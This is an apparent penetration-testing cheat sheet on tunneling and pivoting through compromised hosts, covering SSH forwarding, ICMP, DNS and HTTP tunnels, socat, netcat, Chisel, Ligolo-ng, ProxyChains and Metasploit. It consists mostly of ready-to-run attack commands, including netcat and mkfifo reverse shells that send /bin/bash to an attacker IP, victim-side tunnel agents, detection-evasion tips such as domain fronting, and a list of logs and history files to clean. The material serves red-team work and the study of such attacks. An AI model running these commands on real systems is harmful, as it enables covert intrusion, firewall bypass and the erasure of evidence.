Tunneling
Table of Contents¶
- SSH Tunneling
- ICMP Tunneling
- DNS Tunneling
- HTTP/HTTPS Tunneling
- SOCAT Tunneling
- Netcat Tunneling
- Chisel
- Ligolo-ng
- ProxyChains
- Other Tools
SSH Tunneling¶
Local Port Forwarding (-L)¶
Forward a local port to a remote destination through the SSH server.
# Syntax
ssh -L [local_addr:]local_port:remote_addr:remote_port user@ssh_server
# Access internal web server through compromised host
ssh -L 8080:192.168.1.10:80 user@compromised-host
# Access RDP on internal host
ssh -L 3389:10.0.0.5:3389 user@pivot-host
# Bind to all interfaces (allow others to use the tunnel)
ssh -L 0.0.0.0:8080:192.168.1.10:80 user@pivot-host
Remote Port Forwarding (-R)¶
Forward a remote port on the SSH server back to a local service.
# Syntax
ssh -R [remote_addr:]remote_port:local_addr:local_port user@ssh_server
# Expose local service to remote server
ssh -R 8080:localhost:3000 user@remote-server
# Reverse shell through tunnel (remote server can access your local port)
ssh -R 4444:localhost:4444 user@attacker-server
Dynamic Port Forwarding (-D) - SOCKS Proxy¶
Create a SOCKS proxy for dynamic port forwarding.
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@pivot-host
# Bind to specific interface
ssh -D 0.0.0.0:1080 user@pivot-host
# Background + no shell
ssh -D 1080 -fN user@pivot-host
# Use with proxychains
proxychains nmap -sT -Pn 192.168.1.0/24
SSH Tunnel Options¶
# Common options for background tunnels
-N # No command execution (port forwarding only)
-f # Fork to background
-n # Redirect stdin from /dev/null
-T # Disable pseudo-terminal allocation
-o ServerAliveInterval=60 # Keep connection alive
-o ServerAliveCountMax=3 # Max keepalive probes
-o StrictHostKeyChecking=no # Auto-accept host keys
SSH Tunnel Chains¶
# Multi-hop tunneling
ssh -J user@hop1,user@hop2 user@target
# ProxyJump with port forwarding
ssh -J user@bastion -L 8080:internal:80 user@target
ICMP Tunneling¶
ptunnel (Ping Tunnel)¶
# Server side (attacker)
sudo ptunnel -p 0.0.0.0 -lp 2222 -da 127.0.0.1 -dp 22
# Client side (victim)
sudo ptunnel -p <attacker-ip> -lp 5555 -da <target-ip> -dp 3389
# Connect through tunnel
rdesktop localhost:5555
icmpsh (Simple ICMP Shell)¶
# Setup on attacker (Linux)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py <attacker-ip> <victim-ip>
# On victim (Windows)
icmpsh.exe -t <attacker-ip>
icmp-tunnel¶
# Create ICMP tunnel
./icmptunnel -s # Server mode
./icmptunnel -c <server-ip> # Client mode
# Assign IP and route
curl http://checkip.dyndns.org
DNS Tunneling¶
iodine¶
# Server setup (needs NS record pointing to server)
sudo iodined -f -c -P password 10.0.0.1 tunnel.example.com
# Client connection
sudo iodine -f -P password <server-ip> tunnel.example.com
# Now you have a tunnel interface (dns0) with IP 10.0.0.2
ssh 10.0.0.1
dnscat2¶
# Server
ruby dnscat2.rb --dns host=0.0.0.0,port=53 --secret=password
# Client
./dnscat2 --secret=password <server-ip>
# Or domain-based
./dnscat2 --dns domain=tunnel.example.com --secret=password
dns2tcp¶
# Server config (/etc/dns2tcpd.conf)
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = tunnel.example.com
key = password
ressources = ssh:127.0.0.1:22, http:127.0.0.1:80
# Start server
dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
# Client connection
dns2tcpc -k password -d 1 -l 2222 -r ssh -z tunnel.example.com <server-ip>
ssh -p 2222 root@localhost
HTTP/HTTPS Tunneling¶
HTTPTunnel¶
# Server (attacker)
hts --forward-port localhost:22 80
# Client (victim)
htc --forward-port 2222 --connect <attacker-ip> 80
ssh -p 2222 localhost
ProxyTunnel¶
# Through HTTP proxy with CONNECT method
proxytunnel -p proxy.corporate.com:8080 -d destination.com:443
# SSH over proxy
ssh -o ProxyCommand="proxytunnel -p proxy:8080 -d %h:%p" user@target
Corkscrew¶
# SSH through HTTP proxy
ssh -o ProxyCommand="corkscrew proxy.corporate.com 8080 %h %p" user@target
# With authentication
ssh -o ProxyCommand="corkscrew proxy 8080 %h %p ~/.ssh/proxyauth" user@target
Stunnel (SSL Tunnel)¶
# Server config
[sshd]
accept = 443
connect = 22
cert = /etc/stunnel/stunnel.pem
# Client config
[ssh]
client = yes
accept = 2222
connect = server.com:443
SOCAT Tunneling¶
Basic Port Forwarding¶
# TCP port forward
socat TCP-LISTEN:8080,fork TCP:target.com:80
# Bind to specific interface
socat TCP-LISTEN:8080,bind=192.168.1.10,fork TCP:target.com:80
SOCKS Proxy¶
# Create SOCKS4 proxy
socat TCP-LISTEN:1080,fork SOCKS4:target.com:
# SOCKS4a (supports DNS resolution on server)
socat TCP-LISTEN:1080,fork SOCKS4A:target.com:::1
Encrypted Tunnels (with SSL)¶
# Generate cert
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
# Server (accept SSL, forward plain)
socat OPENSSL-LISTEN:4443,cert=cert.pem,key=key.pem,verify=0,fork TCP:localhost:22
# Client (accept plain, forward SSL)
socat TCP-LISTEN:2222,fork OPENSSL:server.com:4443,verify=0
UDP Tunneling¶
# UDP to TCP bridge
socat UDP-LISTEN:53,fork TCP:dnsserver.com:53
# TCP to UDP
socat TCP-LISTEN:53,fork UDP:dnsserver.com:53
TTY/PTY Allocation¶
# Full TTY shell
socat TCP-LISTEN:4444,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
# Connect with full TTY
socat FILE:`tty`,raw,echo=0 TCP:target:4444
Netcat Tunneling¶
Basic Connections¶
# Listener
nc -lvnp 4444
# Connect
nc target.com 4444
# Banner grabbing
echo "" | nc -v target.com 80
Reverse Shell¶
# Attacker (listen)
nc -lvnp 4444
# Target (send shell)
nc -e /bin/bash <attacker-ip> 4444
# Without -e (Linux)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
# Without -e (Windows)
c:\windows\system32\cmd.exe -c "nc -nv <attacker-ip> 4444 -e cmd.exe"
Port Forwarding with nc¶
# Listen on 8080, forward to target:80
mkfifo backpipe
nc -l 8080 0<backpipe | nc target.com 80 1>backpipe
# Using named pipes for bidirectional
nc -l -p 8080 -c "nc target.com 80"
nc vs ncat vs nc.traditional¶
| Feature | nc (OpenBSD) | nc.traditional | ncat (Nmap) |
|---|---|---|---|
-e program execution |
❌ | ✅ | ✅ |
| SSL/TLS | ❌ | ❌ | ✅ |
| Proxy support | ❌ | ❌ | ✅ |
| IPv6 | ✅ | ❌ | ✅ |
Chisel¶
Fast TCP/UDP tunnel over HTTP, secured via SSH
Quick Start¶
# Server (attacker)
chisel server -p 8000 --reverse --auth user:password
# Client (victim) - Reverse SOCKS
chisel client http://user:password@<attacker-ip>:8000 R:socks
# Client - Reverse port forward
chisel client http://user:password@<attacker-ip>:8000 R:2222:localhost:22
Chisel Commands¶
# Server with specific host key
chisel server -p 8000 --key private.pem
# Client with fingerprint verification
chisel client --fingerprint <hash> http://server:8000 8080
# Multiple remotes
chisel client http://server:8000 3000 socks R:8080 R:9090
# UDP tunneling
chisel client http://server:8000 udp://53:dns.server.com:53
Use Cases¶
# Expose internal web server
chisel client http://attacker:8000 R:8080:10.0.0.10:80
# SOCKS5 proxy for pivoting
chisel client http://attacker:8000 R:socks
# Chain through multiple hosts
# On pivot host 1
chisel client http://attacker:8000 R:8001:pivot2:8000
# On pivot host 2
chisel client http://pivot1:8001 R:socks
Ligolo-ng¶
Advanced tunneling/pivoting tool with tun interface
Setup¶
# Agent (victim)
./ligolo-agent -connect <attacker-ip>:11601
# Proxy (attacker)
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# In ligolo console
session
start
Ligolo-ng Commands¶
# List sessions
ligolo-ng» sessions
# Select session
ligolo-ng» session
? Specify a session : 1
# Start tunnel
ligolo-ng» start
[INFO] Starting tunnel to root@DESKTOP-XXXXXX
# Add route
sudo ip route add 192.168.2.0/24 dev ligolo
# Autoroute (add all routes)
ligolo-ng» autoroute
Port Forwarding¶
# Listener on agent, forward to local
ligolo-ng» listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# Listener on agent, forward to another internal host
ligolo-ng» listener_add --addr 0.0.0.0:3389 --to 10.0.0.5:3389
ProxyChains¶
Configuration (/etc/proxychains4.conf)¶
# Dynamic chain (skip dead proxies)
dynamic_chain
# Proxy list
socks5 127.0.0.1 1080
http 192.168.1.10 8080
socks4 10.0.0.5 1080
# Quiet mode
quiet_mode
# DNS through proxy
proxy_dns
Usage¶
# Any tool through proxy
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains ssh user@internal-host
proxychains firefox
# Remote DNS resolution
proxychains -q curl http://internal-server.local
ProxyChains-ng (proxychains4)¶
# Installation
sudo apt install proxychains4
# Configuration file
/etc/proxychains4.conf
# Features over legacy
- IPv6 support
- better DNS handling
- improved performance
Other Tools¶
FRP (Fast Reverse Proxy)¶
# Server (frps.toml)
bindPort = 7000
auth.token = "secret"
# Client (frpc.toml)
serverAddr = "attacker.com"
serverPort = 7000
auth.token = "secret"
[[proxies]]
name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222
# Start
./frps -c frps.toml
./frpc -c frpc.toml
ngrok / cloudflared¶
# ngrok
ngrok tcp 22
ngrok http 80
# cloudflared tunnel
cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel myapp.example.com
cloudflared tunnel run mytunnel
Metasploit Pivoting¶
# Meterpreter session
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.5
# Reverse port forward
meterpreter > portfwd add -R -l 4444 -p 4444 -r 127.0.0.1
# Route through session
meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > background
# Use route with other modules
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.0.0.0/24
msf6 > run
# SOCKS proxy through meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVHOST 0.0.0.0
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run
Evil-WinRM with Proxy¶
# Through proxychains
proxychains evil-winrm -i 10.0.0.10 -u administrator -p password
# Built-in proxy support
evil-winrm -i 10.0.0.10 -u admin -p pass --proxy http://proxy:8080
Tunneling Decision Tree¶
Need to tunnel?
│
├─ Have SSH access?
│ ├─ Need single port? → SSH -L or -R
│ ├─ Need dynamic proxy? → SSH -D + ProxyChains
│ └─ Through multiple hops? → SSH -J
│
├─ Only ICMP allowed?
│ └→ icmpsh / ptunnel
│
├─ Only DNS allowed?
│ └→ iodine / dnscat2 / dns2tcp
│
├─ Only HTTP/HTTPS allowed?
│ ├─ With CONNECT? → proxytunnel / corkscrew
│ └→ HTTPTunnel
│
├─ Need reliable reverse tunnel?
│ ├─ Have HTTP egress? → Chisel
│ └→ FRP / ngrok
│
├─ Need full network pivot?
│ └→ Ligolo-ng (recommended) / Metasploit autoroute
│
└─ Quick & dirty?
└→ SOCAT / Netcat
OPSEC Considerations¶
Detection Evasion¶
# Change default ports
chisel server -p 443 # instead of 8000
# Use domain fronting / CDN
chisel client https://cdn.example.com:443 R:socks
# Encrypt traffic
stunnel / socat with SSL / SSH
# Mimic legitimate traffic
- Use standard ports (443, 53, 80)
- Match user-agent strings
- Implement jitter/delay
Artifacts to Clean¶
# SSH tunnel logs
~/.ssh/config
/var/log/auth.log
~/.bash_history
# Process cleanup
pkill chisel
pkill socat
pkill nc
# Network connections
netstat -tulnp | grep <suspicious_port>
Quick Reference Card¶
| Scenario | Tool | Command |
|---|---|---|
| Quick local forward | SSH | ssh -L 8080:target:80 user@pivot |
| Reverse shell | nc | nc -e /bin/bash attacker 4444 |
| SOCKS proxy | SSH | ssh -D 1080 user@pivot |
| Reliable reverse tunnel | Chisel | chisel client http://attacker:8000 R:socks |
| Full network pivot | Ligolo-ng | ligolo-agent -connect attacker:11601 |
| ICMP only | ptunnel | ptunnel -p attacker -lp 2222 -da target -dp 22 |
| DNS only | iodine | iodine -f -P pass attacker tunnel.com |
| Encrypt anything | SOCAT | socat OPENSSL-LISTEN:443,cert=cert.pem,fork TCP:localhost:22 |
| HTTP proxy bypass | corkscrew | ssh -o ProxyCommand="corkscrew proxy 8080 %h %p" user@target |